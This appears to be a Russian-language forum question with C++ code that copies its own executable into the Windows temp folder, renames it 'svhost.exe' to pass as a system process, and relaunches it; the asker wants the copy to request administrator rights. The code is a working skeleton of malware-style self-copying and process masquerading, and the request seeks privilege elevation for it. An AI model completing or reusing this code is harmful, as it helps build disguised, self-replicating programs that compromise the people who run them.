У меня есть код, который копирует себя во временные файлы и переименовывается. Как мне сделать так, чтобы он запускался от имени администратора, то есть скрипт запускался, копировался и выдавал пользователю запрос на запуск файла от имени администратора?
c++:
#include <Windows.h>
#include <iostream>
#include <string>
int main()
{
wchar_t exePath[MAX_PATH];
GetModuleFileName(NULL, exePath, MAX_PATH);
wchar_t tempPath[MAX_PATH];
if (GetTempPathW(MAX_PATH, tempPath))
{
std::wstring sourceFilePath = exePath;
std::wstring destinationFilePath = std::wstring(tempPath) + L"\\" + std::wstring(exePath).substr(std::wstring(exePath).rfind(L"\\") + 1);
if (!CopyFileW(sourceFilePath.c_str(), destinationFilePath.c_str(), FALSE))
{
std::cerr << "Failed to copy file to temporary folder" << std::endl;
return 1;
}
std::wstring newName = L"svhost.exe";
std::wstring newFilePath = std::wstring(tempPath) + L"\\" + newName;
if (!MoveFile(destinationFilePath.c_str(), newFilePath.c_str()))
{
std::cerr << "Failed to rename file" << std::endl;
return 1;
}
STARTUPINFOW si = { 0 };
si.cb = sizeof(si);
PROCESS_INFORMATION pi = { 0 };
if (!CreateProcessW(newFilePath.c_str(), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
std::cerr << "Failed to launch the executable file" << std::endl;
return 1;
}
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
else
{
std::cerr << "Failed to get temporary folder path" << std::endl;
return 1;
}
return 0;
}